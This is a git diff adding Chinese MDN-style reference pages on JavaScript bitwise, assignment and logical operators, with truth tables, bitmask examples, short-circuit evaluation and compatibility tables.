     9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
+
+ +

将任一数值 x 与 0 执行按位与操作,其结果都为 0。将任一数值 x 与 -1 执行按位与操作,其结果都为 x。

+ +

| (按位或)

+ +

对每一对比特位执行或(OR)操作。如果 a 或 b 为 1,则 a OR b 结果为 1。或操作的真值表:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
aba OR b
000
011
101
111
+ +
     9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 | 9 (base 10) = 00000000000000000000000000001111 (base 2) = 15 (base 10)
+
+ +

将任一数值 x 与 0 进行按位或操作,其结果都是 x。将任一数值 x 与 -1 进行按位或操作,其结果都为 -1。

+ +

补充一些例子:

+ +
1 | 0 ;                       // 1
+
+1.1 | 0 ;                     // 1
+
+'asfdasfda' | 0 ;             // 0
+
+0 | 0 ;                       // 0
+
+(-1) | 0 ;                    // -1
+
+(-1.5646) | 0 ;               // -1
+
+[] | 0 ;                      // 0
+
+({}) | 0 ;                    // 0
+
+"123456" | 0 ;            // 123456
+
+1.23E2 | 0;               // 123
+
+1.23E12 | 0;              // 1639353344
+
+-1.23E2 | 0;              // -123
+
+-1.23E12 | 0;             // -1639353344
+ +

^ (按位异或)

+ +

对每一对比特位执行异或(XOR)操作。当 a 和 b 不相同时,a XOR b 的结果为 1。异或操作真值表:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
aba XOR b
000
011
101
110
+ +
     9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 ^ 9 (base 10) = 00000000000000000000000000000111 (base 2) = 7 (base 10)
+
+ +

将任一数值 x 与 0 进行异或操作,其结果为 x。将任一数值 x 与 -1 进行异或操作,其结果为 ~x。

+ +

~ (按位非)

+ +

对每一个比特位执行非(NOT)操作。NOT a 结果为 a 的反转(即反码)。非操作的真值表:

+ + + + + + + + + + + + + + + + +
aNOT a
01
10
+ +
 9 (base 10) = 00000000000000000000000000001001 (base 2)
+               --------------------------------
+~9 (base 10) = 11111111111111111111111111110110 (base 2) = -10 (base 10)
+
+ +

对任一数值 x 进行按位非操作的结果为 -(x + 1)。例如,~5 结果为 -6。

+ +

与 indexOf 一起使用示例:

+ +
var str = 'rawr';
+var searchFor = 'a';
+
+// 这是 if (-1*str.indexOf('a') <= 0) 条件判断的另一种方法
+if (~str.indexOf(searchFor)) {
+  // searchFor 包含在字符串中
+} else {
+  // searchFor 不包含在字符串中
+}
+
+// (~str.indexOf(searchFor))的返回值
+// r == -1
+// a == -2
+// w == -3
+
+ +

按位移动操作符

+ +

按位移动操作符有两个操作数:第一个是要被移动的数字,而第二个是要移动的长度。移动的方向根据操作符的不同而不同。

+ +

按位移动会先将操作数转换为大端字节序顺序(big-endian order)的32位整数,并返回与左操作数相同类型的结果。右操作数应小于 32位,否则只有最低 5 个字节会被使用。

+ +
注:Big-Endian:高位字节排放在内存的低地址端,低位字节排放在内存的高地址端,
+又称为"高位编址"。
+Big-Endian是最直观的字节序:
+①把内存地址从左到右按照由低到高的顺序写出;
+②把值按照通常的高位到低位的顺序写出;
+③两者对照,一个字节一个字节的填充进去。
+ +

<< (左移)

+ +

该操作符会将第一个操作数向左移动指定的位数。向左被移出的位被丢弃,右侧用 0 补充。

+ +

For example, 9 << 2 yields 36:

+ +
     9 (base 10): 00000000000000000000000000001001 (base 2)
+                  --------------------------------
+9 << 2 (base 10): 00000000000000000000000000100100 (base 2) = 36 (base 10)
+
+ +

在数字 x 上左移 y 比特得到 x * 2y.

+ +

>> (有符号右移)

+ +

该操作符会将第一个操作数向右移动指定的位数。向右被移出的位被丢弃,拷贝最左侧的位以填充左侧。由于新的最左侧的位总是和以前相同,符号位没有被改变。所以被称作“符号传播”。

+ +

例如, 9 >> 2 得到 2:

+ +
     9 (base 10): 00000000000000000000000000001001 (base 2)
+                  --------------------------------
+9 >> 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10)
+
+ +

相比之下, -9 >> 2 得到 -3,因为符号被保留了。

+ +
     -9 (base 10): 11111111111111111111111111110111 (base 2)
+                   --------------------------------
+-9 >> 2 (base 10): 11111111111111111111111111111101 (base 2) = -3 (base 10)
+
+ +

>>> (无符号右移)

+ +

该操作符会将第一个操作数向右移动指定的位数。向右被移出的位被丢弃,左侧用0填充。因为符号位变成了 0,所以结果总是非负的。(译注:即便右移 0 个比特,结果也是非负的。)

+ +

对于非负数,有符号右移和无符号右移总是返回相同的结果。例如 9 >>> 29 >> 2 一样返回 2:

+ +
      9 (base 10): 00000000000000000000000000001001 (base 2)
+                   --------------------------------
+9 >>> 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10)
+
+ +

但是对于负数却不尽相同。 -9 >>> 2 产生 1073741821 这和 -9 >> 2 不同:

+ +
      -9 (base 10): 11111111111111111111111111110111 (base 2)
+                    --------------------------------
+-9 >>> 2 (base 10): 00111111111111111111111111111101 (base 2) = 1073741821 (base 10)
+
+ +

示例

+ +

例子:标志位与掩码

+ +

位运算经常被用来创建、处理以及读取标志位序列——一种类似二进制的变量。虽然可以使用变量代替标志位序列,但是这样可以节省内存(1/32)。

+ +

例如,有 4 个标志位:

+ + + +

标志位通过位序列 DCBA 来表示。当一个位被置位 (set) 时,它的值为 1 。当被清除 (clear) 时,它的值为 0 。例如一个变量 flags 的二进制值为 0101:

+ +
var flags = 5;   // 二进制 0101
+
+ +

这个值表示:

+ + + +

因为位运算是 32 位的, 0101 实际上是 00000000000000000000000000000101。因为前面多余的 0 没有任何意义,所以他们可以被忽略。

+ +

掩码 (bitmask) 是一个通过与/或来读取标志位的位序列。典型的定义每个标志位的原语掩码如下:

+ +
var FLAG_A = 1; // 0001
+var FLAG_B = 2; // 0010
+var FLAG_C = 4; // 0100
+var FLAG_D = 8; // 1000
+
+ +

新的掩码可以在以上掩码上使用逻辑运算创建。例如,掩码 1011 可以通过 FLAG_A、FLAG_B 和 FLAG_D 逻辑或得到:

+ +
var mask = FLAG_A | FLAG_B | FLAG_D; // 0001 | 0010 | 1000 => 1011
+
+ +

某个特定的位可以通过与掩码做逻辑与运算得到,通过与掩码的与运算可以去掉无关的位,得到特定的位。例如,掩码 0100 可以用来检查标志位 C 是否被置位:

+ +
// 如果我们有 cat
+if (flags & FLAG_C) { // 0101 & 0100 => 0100 => true
+   // do stuff
+}
+
+ +

一个有多个位被置位的掩码表达任一/或者的含义。例如,以下两个表达是等价的:

+ +
// 如果我们有 bat 或者 cat 至少一个
+// (0101 & 0010) || (0101 & 0100) => 0000 || 0100 => true
+if ((flags & FLAG_B) || (flags & FLAG_C)) {
+   // do stuff
+}
+
+ +
// 如果我们有 bat 或者 cat 至少一个
+var mask = FLAG_B | FLAG_C; // 0010 | 0100 => 0110
+if (flags & mask) { // 0101 & 0110 => 0100 => true
+   // do stuff
+}
+
+ +

可以通过与掩码做或运算设置标志位,掩码中为 1 的位可以设置对应的位。例如掩码 1100 可用来设置位 C 和 D:

+ +
// 我们有 cat 和 duck
+var mask = FLAG_C | FLAG_D; // 0100 | 1000 => 1100
+flags |= mask;   // 0101 | 1100 => 1101
+
+ +

可以通过与掩码做与运算清除标志位,掩码中为 0 的位可以设置对应的位。掩码可以通过对原语掩码做非运算得到。例如,掩码 1010 可以用来清除标志位 A 和 C :

+ +
// 我们没有 ant 也没有 cat
+var mask = ~(FLAG_A | FLAG_C); // ~0101 => 1010
+flags &= mask;   // 1101 & 1010 => 1000
+
+ +

如上的掩码同样可以通过 ~FLAG_A & ~FLAG_C 得到(德摩根定律):

+ +
// 我们没有 ant 也没有 cat
+var mask = ~FLAG_A & ~FLAG_C;
+flags &= mask;   // 1101 & 1010 => 1000
+
+ +

标志位可以使用异或运算切换。所有值为 1 的位可以切换对应的位。例如,掩码 0110 可以用来切换标志位 B 和 C:

+ +
// 如果我们以前没有 bat ,那么我们现在有 bat
+// 但是如果我们已经有了一个,那么现在没有了
+// 对 cat 也是相同的情况
+var mask = FLAG_B | FLAG_C;
+flags = flags ^ mask;   // 1100 ^ 0110 => 1010
+
+ +

最后,所有标志位可以通过非运算翻转:

+ +
// entering parallel universe...
+flags = ~flags;    // ~1010 => 0101
+
+ +

转换片段

+ +

将一个二进制数的 String 转换为十进制的 Number:

+ +
var sBinString = "1011";
+var nMyNumber = parseInt(sBinString, 2);
+alert(nMyNumber); // 打印 11
+
+ +

将一个十进制的 Number 转换为二进制数的 String:

+ +
var nMyNumber = 11;
+var sBinString = nMyNumber.toString(2);
+alert(sBinString); // 打印 1011
+
+ +

自动化掩码创建

+ +

如果你需要从一系列的 Boolean 值创建一个掩码,你可以:

+ +
function createMask () {
+  var nMask = 0, nFlag = 0, nLen = arguments.length > 32 ? 32 : arguments.length;
+  for (nFlag; nFlag < nLen; nMask |= arguments[nFlag] << nFlag++);
+  return nMask;
+}
+var mask1 = createMask(true, true, false, true); // 11, i.e.: 1011
+var mask2 = createMask(false, false, true); // 4, i.e.: 0100
+var mask3 = createMask(true); // 1, i.e.: 0001
+// etc.
+
+alert(mask1); // 打印 11
+
+ +

逆算法:从掩码得到布尔数组

+ +

如果你希望从掩码得到得到 Boolean Array

+ +
function arrayFromMask (nMask) {
+  // nMask 必须介于 -2147483648 和 2147483647 之间
+  if (nMask > 0x7fffffff || nMask < -0x80000000) {
+    throw new TypeError("arrayFromMask - out of range");
+  }
+  for (var nShifted = nMask, aFromMask = []; nShifted;
+       aFromMask.push(Boolean(nShifted & 1)), nShifted >>>= 1);
+  return aFromMask;
+}
+
+var array1 = arrayFromMask(11);
+var array2 = arrayFromMask(4);
+var array3 = arrayFromMask(1);
+
+alert("[" + array1.join(", ") + "]");
+// 打印 "[true, true, false, true]", i.e.: 11, i.e.: 1011
+
+ +

你可以同时测试以上两个算法……

+ +
var nTest = 19; // our custom mask
+var nResult = createMask.apply(this, arrayFromMask(nTest));
+
+alert(nResult); // 19
+
+ +

仅仅由于教学目的 (因为有 Number.toString(2) 方法),我们展示如何修改 arrayFromMask 算法通过 Number 返回二进制的 String,而非 Boolean Array:

+ +
function createBinaryString (nMask) {
+  // nMask must be between -2147483648 and 2147483647
+  for (var nFlag = 0, nShifted = nMask, sMask = ""; nFlag < 32;
+       nFlag++, sMask += String(nShifted >>> 31), nShifted <<= 1);
+  return sMask;
+}
+
+var string1 = createBinaryString(11);
+var string2 = createBinaryString(4);
+var string3 = createBinaryString(1);
+
+alert(string1);
+// 打印 00000000000000000000000000001011, i.e. 11
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
ECMAScript 1st Edition.StandardInitial definition.
{{SpecName('ES5.1', '#sec-11.4.8', 'Bitwise NOT operator')}}
+ {{SpecName('ES5.1', '#sec-11.7', 'Bitwise shift operators')}}
+ {{SpecName('ES5.1', '#sec-11.10', 'Binary bitwise operators')}}
{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-bitwise-not-operator', 'Bitwise NOT operator')}}
+ {{SpecName('ES6', '#sec-bitwise-shift-operators', 'Bitwise shift operators')}}
+ {{SpecName('ES6', '#sec-binary-bitwise-operators', 'Binary bitwise operators')}}
{{Spec2('ES6')}}
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Bitwise NOT (~){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Bitwise AND (&){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Bitwise OR (|){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Bitwise XOR (^){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Left shift (<<){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Right shift (>>){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Unsigned right shift (>>>){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Bitwise NOT (~){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Bitwise AND (&){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Bitwise OR (|){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Bitwise XOR (^){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Left shift (<<){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Right shift (>>){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Unsigned right shift (>>>){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html b/files/zh-cn/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html new file mode 100644 index 0000000000..66ae471cde --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html @@ -0,0 +1,413 @@ +--- +title: 赋值运算符 +slug: Web/JavaScript/Reference/Operators/Assignment_Operators +tags: + - JavaScript + - 运算符 +translation_of: Web/JavaScript/Reference/Operators#Assignment_operators +translation_of_original: Web/JavaScript/Reference/Operators/Assignment_Operators +--- +
{{jsSidebar("Operators")}}
+ +

赋值运算符(assignment operator)基于右值(right operand)的值,给左值(left operand)赋值。

+ +
{{EmbedInteractiveExample("pages/js/expressions-assignment.html")}}
+ + + +

概述

+ +

基本的赋值运算符是等号(=),该运算符把它右边的运算值赋给左边。即,x = y 把 y 的值赋给 x。 其他的赋值运算符通常是标准运算符的简写形式,如下面的定义与示例。 

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
名称简写形式含义
赋值(Assignment)x = yx = y
加赋值(Addition assignment)x += yx = x + y
减赋值(Subtraction assignment)x -= yx = x - y
乘赋值(Multiplication assigment)x *= yx = x * y
除赋值(Division assignment)x /= yx = x / y
模赋值(Remainder assignment)x %= yx = x % y
指数赋值(Exponentiation assignment)x **= yx = x ** y
左移赋值(Left shift assignment)x <<= yx = x << y
右移赋值(Right shift assignment)x >>= yx = x >> y
无符号右移赋值(Unsigned right shift assignment)x >>>= yx = x >>> y
按位与赋值(Bitwise AND assignment)x &= yx = x & y
按位异或赋值(Bitwise XOR assignment)x ^= yx = x ^ y
按位或赋值(Bitwise OR assignment)x |= yx = x | y
+ +

赋值

+ +

简单的赋值运算符,把一个值赋给一个变量。为了把一个值赋给多个变量,可以以链式使用赋值运算符。参考下例:

+ +

语法

+ +
Operator: x = y
+
+ +

示例

+ +
// Assuming the following variables
+//  x = 5
+//  y = 10
+//  z = 25
+
+x = y     // x is 10
+x = y = z // x, y and z are all 25
+
+ +

加赋值(Addition assignment)

+ +

加赋值运算符把一个右值与一个变量相加,然后把相加的结果赋给该变量。两个操作数的类型决定了加赋值运算符的行为。算术相加或字符串连接都有可能。更多细节参考 {{jsxref("Operators/Arithmetic_Operators", "addition operator", "#Addition", 1)}}。

+ +

语法

+ +
Operator: x += y
+Meaning:  x  = x + y
+
+ +

示例

+ +
// 定义下列变量
+//  foo = 'foo'
+//  bar = 5
+//  baz = true
+
+
+// Number + Number -> addition
+bar += 2 // 7
+
+// Boolean + Number -> addition
+baz += 1 // 2
+
+// Boolean + Boolean -> addition
+baz += false // 1
+
+// Number + String -> concatenation
+bar += 'foo' // "5foo"
+
+// String + Boolean -> concatenation
+foo += false // "foofalse"
+
+// String + String -> concatenation
+foo += 'bar' // "foobar"
+
+ +

减赋值(Subtraction assignment)

+ +

减赋值运算符使一个变量减去右值,然后把结果赋给该变量。更多细节查看 {{jsxref("Operators/Arithmetic_Operators", "subtraction operator", "#Subtraction", 1)}} 。

+ +

语法

+ +
Operator: x -= y
+Meaning:  x  = x - y
+
+ +

示例

+ +
// 假定已定义了下面的变量
+//  bar = 5
+
+bar -= 2     // 3
+bar -= "foo" // NaN
+
+ +

乘赋值(Multiplication assignment)

+ +

乘赋值运算符使一个变量乘以右值,然后把相成的结果赋给该变量。更多细节查看 {{jsxref("Operators/Arithmetic_Operators", "multiplication operator", "#Multiplication", 1)}}。

+ +

语法

+ +
Operator: x *= y
+Meaning:  x  = x * y
+
+ +

示例

+ +
// 假定已定义了下面的变量
+//  bar = 5
+
+bar *= 2     // 10
+bar *= 'foo' // NaN
+
+ +

除赋值(Division assignment)

+ +

除赋值运算符使一个变量除以右值,然后把结果赋给该变量。更多细节查看 {{jsxref("Operators/Arithmetic_Operators", "division operator", "#Division", 1)}}。

+ +

语法

+ +
Operator: x /= y
+Meaning:  x  = x / y
+
+ +

示例

+ +
// 假定已定义了下面的变量
+//  bar = 5
+
+bar /= 2     // 2.5
+bar /= "foo" // NaN
+bar /= 0     // Infinity
+
+ +

模赋值(Remainder assignment)

+ +

模赋值运算符使一个变量除以右值,然后把余数赋给该变量。更多细节查看 {{jsxref("Operators/Arithmetic_Operators", "remainder operator", "#Remainder", 1)}}。

+ +

语法

+ +
Operator: x %= y
+Meaning:  x  = x % y
+
+ +

示例

+ +
// Assuming the following variable
+//  bar = 5
+
+bar %= 2     // 1
+bar %= 'foo' // NaN
+bar %= 0     // NaN
+
+ +

指数赋值(Exponentiation assignment)

+ +

指数赋值运算符使一个变量为底数、以右值为指数的指数运算(乘方)结果赋给该变量。更多细节查看 {{jsxref("Operators/Arithmetic_Operators", "算术运算符", "#Exponentiation", 1)}}。

+ +

语法

+ +
语法: x **= y
+含义:  x  = x ** y
+
+ +

示例

+ +
// Assuming the following variable
+//  bar = 5
+
+bar **= 2     // 25
+bar **= 'foo' // NaN
+ +

左移赋值(Left shift assignment)

+ +

左移赋值运算符使变量向左移动指定位数的比特位,然后把结果赋给该变量。更多细节查看 {{jsxref("Operators/Bitwise_Operators", "left shift operator", "#Left_shift", 1)}}。

+ +

语法

+ +
Operator: x <<= y
+Meaning:  x   = x << y
+
+ +

示例

+ +
var bar = 5; //  (00000000000000000000000000000101)
+bar <<= 2; // 20 (00000000000000000000000000010100)
+
+ +

右移赋值(Right shift assignment)

+ +

右移赋值运算符使变量向右移指定位数的比特位,然后把结果赋给该变量。更多细节查看 {{jsxref("Operators/Bitwise_Operators", "right shift operator", "#Right_shift", 1)}}。

+ +

语法

+ +
Operator: x >>= y
+Meaning:  x   = x >> y
+
+ +

示例

+ +
var bar = 5; //   (00000000000000000000000000000101)
+bar >>= 2;   // 1 (00000000000000000000000000000001)
+
+var bar = -5; //    (-00000000000000000000000000000101)
+bar >>= 2;  // -2 (-00000000000000000000000000000010)
+
+ +

无符号右移赋值(Unsigned right shift assignment)

+ +

无符号右移赋值运算符向右移动指定数量的比特位,然后把结果赋给变量。更多细节查看 {{jsxref("Operators/Bitwise_Operators", " unsigned right shift operator", "#Unsigned_right_shift", 1)}}。

+ +

语法

+ +
Operator: x >>>= y
+Meaning:  x    = x >>> y
+
+ +

示例

+ +
var bar = 5; //   (00000000000000000000000000000101)
+bar >>>= 2;  // 1 (00000000000000000000000000000001)
+
+var bar = -5; // (-00000000000000000000000000000101)
+bar >>>= 2; // 1073741822 (00111111111111111111111111111110)
+ +

按位与赋值(Bitwise AND assignment)

+ +

按位与赋值运算符使用两个操作值的二进制表示,执行按位与运算,并把结果赋给变量。更多细节查看 {{jsxref("Operators/Bitwise_Operators", "bitwise AND operator", "#Bitwise_AND", 1)}}。

+ +

语法

+ +
Operator: x &= y
+Meaning:  x  = x & y
+
+ +

示例

+ +
var bar = 5;
+// 5:     00000000000000000000000000000101
+// 2:     00000000000000000000000000000010
+bar &= 2; // 0
+
+ +

按位异或赋值(Bitwise XOR assignment)

+ +

按位异或赋值运算符使用两个操作值的二进制表示,执行二进制异或运算,并把结果赋给变量。更多细节查看 {{jsxref("Operators/Bitwise_Operators", "bitwise XOR operator", "#Bitwise_XOR", 1)}}。

+ +

语法

+ +
Operator: x ^= y
+Meaning:  x  = x ^ y
+
+ +

示例

+ +
var bar = 5;
+bar ^= 2; // 7
+// 5: 00000000000000000000000000000101
+// 2: 00000000000000000000000000000010
+// -----------------------------------
+// 7: 00000000000000000000000000000111
+
+ +

按位或赋值(Bitwise OR assignment)

+ +

按位或赋值运算符使用两个操作值的二进制表示,执行按位或运算,并把结果赋给变量。更多细节查看 {{jsxref("Operators/Bitwise_Operators", "bitwise OR operator", "#Bitwise_OR", 1)}}。

+ +

语法

+ +
Operator: x |= y
+Meaning:  x  = x | y
+
+ +

示例

+ +
var bar = 5;
+bar |= 2; // 7
+// 5: 00000000000000000000000000000101
+// 2: 00000000000000000000000000000010
+// -----------------------------------
+// 7: 00000000000000000000000000000111
+
+ +

示例

+ +

带有赋值运算符的左值(Left operand)

+ +

在某些不常见的情况下,赋值运算符(如 x += y)并不等同于表达式( x = x + y)。当一个赋值运算符的左值包含有一个赋值运算符时,左值只会被求值一次。例如:

+ +
a[i++] += 5         // i 执行一次求值
+a[i++] = a[i++] + 5 // i 执行两次求值
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-assignment-operators', 'Assignment operators')}}{{Spec2('ESDraft')}}
{{SpecName('ES2015', '#sec-assignment-operators', 'Assignment operators')}}{{Spec2('ES2015')}}
{{SpecName('ES5.1', '#sec-11.13', 'Assignment operators')}}{{Spec2('ES5.1')}}
{{SpecName('ES1', '#sec-11.13', 'Assignment operators')}}{{Spec2('ES1')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.operators.assignment")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/conflicting/web/javascript/reference/operators_f71733c8e7001a29c3ec40d8522a4aca/index.html b/files/zh-cn/conflicting/web/javascript/reference/operators_f71733c8e7001a29c3ec40d8522a4aca/index.html new file mode 100644 index 0000000000..5615e17d45 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/reference/operators_f71733c8e7001a29c3ec40d8522a4aca/index.html @@ -0,0 +1,238 @@ +--- +title: 逻辑运算符 +slug: Web/JavaScript/Reference/Operators/Logical_Operators +tags: + - JavaScript + - 操作符 + - 逻辑 +translation_of: Web/JavaScript/Reference/Operators +translation_of_original: Web/JavaScript/Reference/Operators/Logical_Operators +--- +
{{jsSidebar("Operators")}}
+ +

逻辑运算符通常用于{{jsxref("Boolean","布尔")}}型(逻辑)值。这种情况下,它们返回一个布尔值。然而,&&|| 运算符会返回一个指定操作数的值,因此,这些运算符也用于非布尔值。这时,它们也就会返回一个非布尔型值。

+ +
{{EmbedInteractiveExample("pages/js/expressions-logicaloperator.html")}}
+ + + +

描述

+ +

逻辑运算符如下表所示 (其中expr可能是任何一种类型, 不一定是布尔值):

+ + + + + + + + + + + + + + + + + + + + + + + + +
运算符语法说明
逻辑与,AND(&&expr1 && expr2expr1 可转换为 true,则返回 expr2;否则,返回 expr1
逻辑或,OR(||expr1 || expr2expr1 可转换为 true,则返回 expr1;否则,返回 expr2
逻辑非,NOT(!!exprexpr 可转换为 true,则返回 false;否则,返回 true
+ +

如果一个值可以被转换为 true,那么这个值就是所谓的 {{Glossary("truthy")}},如果可以被转换为 false,那么这个值就是所谓的 {{Glossary("falsy")}}。

+ +

会被转换为 false 的表达式有:

+ + + +

尽管 &&|| 运算符能够使用非布尔值的操作数, 但它们依然可以被看作是布尔操作符,因为它们的返回值总是能够被转换为布尔值。如果要显式地将它们的返回值(或者表达式)转换为布尔值,请使用双重非运算符(即!!)或者Boolean构造函数。

+ +

短路计算

+ +

由于逻辑表达式的运算顺序是从左到右,也可以用以下规则进行"短路"计算:

+ + + +

短路意味着上述表达式中的expr部分不会被执行,因此expr的任何副作用都不会生效(举个例子,如果expr是一次函数调用,这次调用就不会发生)。造成这种现象的原因是,整个表达式的值在第一个操作数被计算后已经确定了。看一个例子:

+ +
function A(){ console.log('called A'); return false; }
+function B(){ console.log('called B'); return true; }
+
+console.log( A() && B() );
+// logs "called A" due to the function call,
+// then logs false (which is the resulting value of the operator)
+
+console.log( B() || A() );
+// logs "called B" due to the function call,
+// then logs true (which is the resulting value of the operator)
+
+ +

Operators precedence

+ +

请注意,由于运算符优先级的存在,下面的表达式的结果却不相同。右侧被小括号括起来的操作变成了独立的表达式。

+ +
false &&  true || true      // 结果为 true
+false && (true || true)     // 结果为 false
+
+ +

逻辑与(&&

+ +

下面的代码是 && (逻辑与) 运算符的示例.

+ +
a1 = true  && true      // t && t 返回 true
+a2 = true  && false     // t && f 返回 false
+a3 = false && true      // f && t 返回 false
+a4 = false && (3 == 4)  // f && f 返回 false
+a5 = "Cat" && "Dog"     // t && t 返回 "Dog"
+a6 = false && "Cat"     // f && t 返回 false
+a7 = "Cat" && false     // t && f 返回 false
+a8 = ''    && false     // f && f 返回 ""
+a9 = false && ''        // f && f 返回 false
+
+ +

逻辑或(||

+ +

下面的代码是 || (逻辑或) 运算符的示例。

+ +
o1 = true  || true      // t || t 返回 true
+o2 = false || true      // f || t 返回 true
+o3 = true  || false     // t || f 返回 true
+o4 = false || (3 == 4)  // f || f 返回 false
+o5 = "Cat" || "Dog"     // t || t 返回 "Cat"
+o6 = false || "Cat"     // f || t 返回 "Cat"
+o7 = "Cat" || false     // t || f 返回 "Cat"
+o8 = ''    || false     // f || f 返回 false
+o9 = false || ''        // f || f 返回 ""
+
+ +

逻辑非(!

+ +

下面的代码是 ! (逻辑非) 运算符的示例.

+ +
n1 = !true              // !t 返回 false
+n2 = !false             // !f 返回 true
+n3 = !''                // !f 返回 true
+n4 = !'Cat'             // !t 返回 false
+
+ +

双重非(!!)运算符

+ +

可能使用双重非运算符的一个场景,是显式地将任意值强制转换为其对应的布尔值。这种转换是基于被转换值的 "truthyness" 和 "falsyness"的(参见 {{Glossary("truthy")}} 和 {{Glossary("falsy")}})。

+ +

同样的转换可以通过 Boolean 函数完成。

+ +
n1 = !!true                   // !!truthy 返回 true
+n2 = !!{}                     // !!truthy 返回 true: 任何 对象都是 truthy 的…
+n3 = !!(new Boolean(false))   // …甚至 .valueOf() 返回 false 的布尔值对象也是!
+n4 = !!false                  // !!falsy 返回 false
+n5 = !!""                     // !!falsy 返回 false
+n6 = !!Boolean(false)         // !!falsy 返回 false
+
+ +

布尔值转换规则

+ +

将 AND 转换为 OR

+ +

以下涉及布尔运算的操作:

+ +
bCondition1 && bCondition2
+ +

总是等于:

+ +
!(!bCondition1 || !bCondition2)
+ +

将 OR 转换为 AND

+ +

以下涉及布尔运算的操作:

+ +
bCondition1 || bCondition2
+ +

总是等于:

+ +
!(!bCondition1 && !bCondition2)
+ +

删除嵌套的小括号

+ +

由于逻辑表达式是从左往右计算的,所以,通常可以按照下面的规则删除小括号。

+ +

删除嵌套的 AND

+ +

以下涉及布尔运算的操作:

+ +
bCondition1 || (bCondition2 && bCondition3)
+ +

总是等于:

+ +
bCondition1 || bCondition2 && bCondition3
+ +

删除嵌套的 OR

+ +

以下涉及布尔运算的操作:

+ +
bCondition1 && (bCondition2 || bCondition3)
+ +

总是等于:

+ +
!(!bCondition1 || !bCondition2 && !bCondition3)
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition.
{{SpecName('ES5.1', '#sec-11.11')}}{{Spec2('ES5.1')}}Defined in several sections of the specification: Logical NOT Operator, Binary Logical Operators
{{SpecName('ES6', '#sec-binary-logical-operators')}}{{Spec2('ES6')}}Defined in several sections of the specification: Logical NOT Operator, Binary Logical Operators
